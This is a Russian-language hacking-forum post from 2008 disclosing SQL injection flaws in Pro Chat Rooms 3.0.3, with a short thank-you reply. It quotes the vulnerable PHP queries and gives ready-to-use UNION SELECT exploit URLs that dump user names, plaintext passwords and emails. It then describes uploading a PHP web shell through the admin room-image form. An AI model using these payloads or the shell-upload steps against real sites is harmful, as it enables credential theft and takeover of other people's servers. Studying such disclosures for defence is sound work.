Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Чаты (https://forum.antichat.xyz/forumdisplay.php?f=10)
-   -   Pro Chat Rooms <= 3.0.3 SQL Injection (https://forum.antichat.xyz/showthread.php?t=86625)

~!DoK_tOR!~ 28.09.2008 17:23

Pro Chat Rooms <= 3.0.3 SQL Injection
 
Офф.сайт: www.prochatrooms.com
Demo: www.prochatrooms.com/demo.php
Стоймость: $55 скачать
Префикс таблиц бд: prochatrooms_
Табличка: prochatrooms_users
Клонки: user_name,password,email
Алгоритм шифрования: в открытом виде
Админка: http://localhost/admin/

[SQL Injection]

Сценарий /[installdir]/profiles/index.php

уязвимый код:

PHP код:

$tmp=mysql_query("SELECT * FROM prochatrooms_profiles WHERE user_name ='".$_GET['gud']."'"); 

Отсутствует проверка переменной "gud" что позволяет нам провести SQL-Иньекцию.

Условие: magic_quotes_gpc = Off

Эксплойт:

Код:

http://localhost/[installdir]/profiles/index.php?gud=-1'+union+select+1,concat_ws(0x3a,user_name,password,email),3,4,5,6,7,8+from+prochatrooms_users/*
Сценарий /[installdir]/profiles/admin.php

уязвимый код:

PHP код:

$tmp=mysql_query("SELECT * FROM prochatrooms_profiles WHERE user_name ='".$_GET['gud']."'"); 

Баг оналогичен предыдущему.

Условие: magic_quotes_gpc = Off

Эксплойт:

Код:

http://localhost/[installdir]/profiles/admin.php?gud=-1'+union+select+1,concat_ws(0x3a,user_name,password,email),3,4,5,6,7,8+from+prochatrooms_users/*
[Шелл]

Заходим в админку -> создаём новую комнату (http://localhost/[installdir]/admin/index.php?action=rooms) -> Create New Room

Room name: пишем название комнаты
Password: пароль на комнату
Description: описание
Image*: заливаем наш шелл с расширением .php

Шелл будет тут:

http://localhost/[installdir]/backgrounds/shell.php


http://milw0rm.com/exploits/6612

(c) ~!DoK_tOR!~

KorevkoDNS 30.09.2008 21:12

спясяб! жаль + не могу поставить...


Время: 17:55